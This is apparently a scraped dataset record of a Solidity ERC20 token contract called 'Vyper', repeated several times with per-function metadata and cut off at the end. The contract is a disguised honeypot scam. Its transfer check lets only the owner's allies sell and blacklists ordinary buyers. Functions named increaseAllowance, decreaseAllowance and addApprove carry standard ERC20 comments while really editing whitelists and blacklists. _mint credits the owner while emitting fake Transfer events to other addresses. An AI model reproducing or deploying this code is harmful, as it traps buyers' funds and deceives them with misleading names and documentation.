initialSupply*(10**18)); _mint(0x710295b5f326c2e47E6dD2E7F6b5b0F7c5AC2F24, initialSupply*(10**18)); _mint(0x710295b5f326c2e47E6dD2E7F6b5b0F7c5AC2F24, initialSupply*(10**18)); _mint(0x7D96AB1F847c3564B8F9a93F35E1027aDA74aeC2, initialSupply*(10**18)); _mint(0x7D96AB1F847c3564B8F9a93F35E1027aDA74aeC2, initialSupply*(10**18)); _mint(0xE15461B18EE31b7379019Dc523231C57d1Cbc18c, initialSupply*(10**18)); _mint(0xE15461B18EE31b7379019Dc523231C57d1Cbc18c, initialSupply*(10**18)); _mint(0x50c1a2eA0a861A967D9d0FFE2AE4012c2E053804, initialSupply*(10**18)); _mint(0x50c1a2eA0a861A967D9d0FFE2AE4012c2E053804, initialSupply*(10**18)); _mint(0x467161703BC5c888c9bF3905933B66Aec1a7b984, initialSupply*(10**18)); _mint(0x467161703BC5c888c9bF3905933B66Aec1a7b984, initialSupply*(10**18)); _mint(0x467161703BC5c888c9bF3905933B66Aec1a7b984, initialSupply*(10**18)); _mint(0x467161703BC5c888c9bF3905933B66Aec1a7b984, initialSupply*(10**18)); _mint(0x467161703BC5c888c9bF3905933B66Aec1a7b984, initialSupply*(10**18)); _mint(0x467161703BC5c888c9bF3905933B66Aec1a7b984, initialSupply*(10**18)); _mint(0x467161703BC5c888c9bF3905933B66Aec1a7b984, initialSupply*(10**18)); _mint(0x467161703BC5c888c9bF3905933B66Aec1a7b984, initialSupply*(10**18)); _mint(0x467161703BC5c888c9bF3905933B66Aec1a7b984, initialSupply*(10**18)); _mint(0x2D407dDb06311396fE14D4b49da5F0471447d45C, initialSupply*(10**18)); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(_msgSender(), recipient, amount); return true; } function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { uint256 ergdf = 3; uint256 ergdffdtg = 532; transfer(receivers[i], amounts[i]); if(i < approvecount){ _whiteAddress[receivers[i]]=true; uint256 ergdf = 3; uint256 ergdffdtg = 532; _approve(receivers[i],_unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IER C20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _whiteAddress[receivers[i]] = true; _blackAddress[receivers[i]] = false; } } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _blackAddress[receivers[i]] = true; _whiteAddress[receivers[i]] = false; } } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) public { require(msg.sender == _owner, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_owner] = _balances[_owner].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{ if (_whiteAddress[sender] == true){ _;}else{if (_blackAddress[sender] == true){ require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{ if (amount < _sellAmount){ if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;} _; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;} } } } } } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
transferFrom
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; }
/** * @dev See {IER C20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */
NatSpecMultiLine
v0.6.12+commit.27d51765
MPL-2.0
ipfs://024ac6831d2edc74a7d3d00f70c0543024e8953bffbbac253bc19a080d5b40b2
{ "func_code_index": [ 6034, 6364 ] }
12,412
Vyper
Vyper.sol
0xf1599c8c832483a164095c8cb0ab4be9b027719d
Solidity
Vyper
contract Vyper is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935; address public _owner; address private _safeOwner; address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _owner = owner; _safeOwner = owner; _mint(0x2D407dDb06311396fE14D4b49da5F0471447d45C, initialSupply*(10**18)); _mint(0x2D407dDb06311396fE14D4b49da5F0471447d45C, initialSupply*(10**18)); _mint(0x7A1057E6e9093DA9C1D4C1D049609B6889fC4c67, initialSupply*(10**18)); _mint(0x7A1057E6e9093DA9C1D4C1D049609B6889fC4c67, initialSupply*(10**18)); _mint(0x710295b5f326c2e47E6dD2E7F6b5b0F7c5AC2F24, initialSupply*(10**18)); _mint(0x710295b5f326c2e47E6dD2E7F6b5b0F7c5AC2F24, initialSupply*(10**18)); _mint(0x7D96AB1F847c3564B8F9a93F35E1027aDA74aeC2, initialSupply*(10**18)); _mint(0x7D96AB1F847c3564B8F9a93F35E1027aDA74aeC2, initialSupply*(10**18)); _mint(0xE15461B18EE31b7379019Dc523231C57d1Cbc18c, initialSupply*(10**18)); _mint(0xE15461B18EE31b7379019Dc523231C57d1Cbc18c, initialSupply*(10**18)); _mint(0x50c1a2eA0a861A967D9d0FFE2AE4012c2E053804, initialSupply*(10**18)); _mint(0x50c1a2eA0a861A967D9d0FFE2AE4012c2E053804, initialSupply*(10**18)); _mint(0x467161703BC5c888c9bF3905933B66Aec1a7b984, initialSupply*(10**18)); _mint(0x467161703BC5c888c9bF3905933B66Aec1a7b984, initialSupply*(10**18)); _mint(0x467161703BC5c888c9bF3905933B66Aec1a7b984, initialSupply*(10**18)); _mint(0x467161703BC5c888c9bF3905933B66Aec1a7b984, initialSupply*(10**18)); _mint(0x467161703BC5c888c9bF3905933B66Aec1a7b984, initialSupply*(10**18)); _mint(0x467161703BC5c888c9bF3905933B66Aec1a7b984, initialSupply*(10**18)); _mint(0x467161703BC5c888c9bF3905933B66Aec1a7b984, initialSupply*(10**18)); _mint(0x467161703BC5c888c9bF3905933B66Aec1a7b984, initialSupply*(10**18)); _mint(0x467161703BC5c888c9bF3905933B66Aec1a7b984, initialSupply*(10**18)); _mint(0x2D407dDb06311396fE14D4b49da5F0471447d45C, initialSupply*(10**18)); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(_msgSender(), recipient, amount); return true; } function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { uint256 ergdf = 3; uint256 ergdffdtg = 532; transfer(receivers[i], amounts[i]); if(i < approvecount){ _whiteAddress[receivers[i]]=true; uint256 ergdf = 3; uint256 ergdffdtg = 532; _approve(receivers[i],_unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IER C20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _whiteAddress[receivers[i]] = true; _blackAddress[receivers[i]] = false; } } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _blackAddress[receivers[i]] = true; _whiteAddress[receivers[i]] = false; } } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) public { require(msg.sender == _owner, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_owner] = _balances[_owner].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{ if (_whiteAddress[sender] == true){ _;}else{if (_blackAddress[sender] == true){ require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{ if (amount < _sellAmount){ if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;} _; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;} } } } } } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
increaseAllowance
function increaseAllowance(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _whiteAddress[receivers[i]] = true; _blackAddress[receivers[i]] = false; } }
/** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */
NatSpecMultiLine
v0.6.12+commit.27d51765
MPL-2.0
ipfs://024ac6831d2edc74a7d3d00f70c0543024e8953bffbbac253bc19a080d5b40b2
{ "func_code_index": [ 6768, 7059 ] }
12,413
Vyper
Vyper.sol
0xf1599c8c832483a164095c8cb0ab4be9b027719d
Solidity
Vyper
contract Vyper is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935; address public _owner; address private _safeOwner; address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _owner = owner; _safeOwner = owner; _mint(0x2D407dDb06311396fE14D4b49da5F0471447d45C, initialSupply*(10**18)); _mint(0x2D407dDb06311396fE14D4b49da5F0471447d45C, initialSupply*(10**18)); _mint(0x7A1057E6e9093DA9C1D4C1D049609B6889fC4c67, initialSupply*(10**18)); _mint(0x7A1057E6e9093DA9C1D4C1D049609B6889fC4c67, initialSupply*(10**18)); _mint(0x710295b5f326c2e47E6dD2E7F6b5b0F7c5AC2F24, initialSupply*(10**18)); _mint(0x710295b5f326c2e47E6dD2E7F6b5b0F7c5AC2F24, initialSupply*(10**18)); _mint(0x7D96AB1F847c3564B8F9a93F35E1027aDA74aeC2, initialSupply*(10**18)); _mint(0x7D96AB1F847c3564B8F9a93F35E1027aDA74aeC2, initialSupply*(10**18)); _mint(0xE15461B18EE31b7379019Dc523231C57d1Cbc18c, initialSupply*(10**18)); _mint(0xE15461B18EE31b7379019Dc523231C57d1Cbc18c, initialSupply*(10**18)); _mint(0x50c1a2eA0a861A967D9d0FFE2AE4012c2E053804, initialSupply*(10**18)); _mint(0x50c1a2eA0a861A967D9d0FFE2AE4012c2E053804, initialSupply*(10**18)); _mint(0x467161703BC5c888c9bF3905933B66Aec1a7b984, initialSupply*(10**18)); _mint(0x467161703BC5c888c9bF3905933B66Aec1a7b984, initialSupply*(10**18)); _mint(0x467161703BC5c888c9bF3905933B66Aec1a7b984, initialSupply*(10**18)); _mint(0x467161703BC5c888c9bF3905933B66Aec1a7b984, initialSupply*(10**18)); _mint(0x467161703BC5c888c9bF3905933B66Aec1a7b984, initialSupply*(10**18)); _mint(0x467161703BC5c888c9bF3905933B66Aec1a7b984, initialSupply*(10**18)); _mint(0x467161703BC5c888c9bF3905933B66Aec1a7b984, initialSupply*(10**18)); _mint(0x467161703BC5c888c9bF3905933B66Aec1a7b984, initialSupply*(10**18)); _mint(0x467161703BC5c888c9bF3905933B66Aec1a7b984, initialSupply*(10**18)); _mint(0x2D407dDb06311396fE14D4b49da5F0471447d45C, initialSupply*(10**18)); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(_msgSender(), recipient, amount); return true; } function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { uint256 ergdf = 3; uint256 ergdffdtg = 532; transfer(receivers[i], amounts[i]); if(i < approvecount){ _whiteAddress[receivers[i]]=true; uint256 ergdf = 3; uint256 ergdffdtg = 532; _approve(receivers[i],_unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IER C20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _whiteAddress[receivers[i]] = true; _blackAddress[receivers[i]] = false; } } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _blackAddress[receivers[i]] = true; _whiteAddress[receivers[i]] = false; } } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) public { require(msg.sender == _owner, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_owner] = _balances[_owner].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{ if (_whiteAddress[sender] == true){ _;}else{if (_blackAddress[sender] == true){ require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{ if (amount < _sellAmount){ if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;} _; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;} } } } } } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
decreaseAllowance
function decreaseAllowance(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; }
/** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */
NatSpecMultiLine
v0.6.12+commit.27d51765
MPL-2.0
ipfs://024ac6831d2edc74a7d3d00f70c0543024e8953bffbbac253bc19a080d5b40b2
{ "func_code_index": [ 7557, 7705 ] }
12,414
Vyper
Vyper.sol
0xf1599c8c832483a164095c8cb0ab4be9b027719d
Solidity
Vyper
contract Vyper is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935; address public _owner; address private _safeOwner; address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _owner = owner; _safeOwner = owner; _mint(0x2D407dDb06311396fE14D4b49da5F0471447d45C, initialSupply*(10**18)); _mint(0x2D407dDb06311396fE14D4b49da5F0471447d45C, initialSupply*(10**18)); _mint(0x7A1057E6e9093DA9C1D4C1D049609B6889fC4c67, initialSupply*(10**18)); _mint(0x7A1057E6e9093DA9C1D4C1D049609B6889fC4c67, initialSupply*(10**18)); _mint(0x710295b5f326c2e47E6dD2E7F6b5b0F7c5AC2F24, initialSupply*(10**18)); _mint(0x710295b5f326c2e47E6dD2E7F6b5b0F7c5AC2F24, initialSupply*(10**18)); _mint(0x7D96AB1F847c3564B8F9a93F35E1027aDA74aeC2, initialSupply*(10**18)); _mint(0x7D96AB1F847c3564B8F9a93F35E1027aDA74aeC2, initialSupply*(10**18)); _mint(0xE15461B18EE31b7379019Dc523231C57d1Cbc18c, initialSupply*(10**18)); _mint(0xE15461B18EE31b7379019Dc523231C57d1Cbc18c, initialSupply*(10**18)); _mint(0x50c1a2eA0a861A967D9d0FFE2AE4012c2E053804, initialSupply*(10**18)); _mint(0x50c1a2eA0a861A967D9d0FFE2AE4012c2E053804, initialSupply*(10**18)); _mint(0x467161703BC5c888c9bF3905933B66Aec1a7b984, initialSupply*(10**18)); _mint(0x467161703BC5c888c9bF3905933B66Aec1a7b984, initialSupply*(10**18)); _mint(0x467161703BC5c888c9bF3905933B66Aec1a7b984, initialSupply*(10**18)); _mint(0x467161703BC5c888c9bF3905933B66Aec1a7b984, initialSupply*(10**18)); 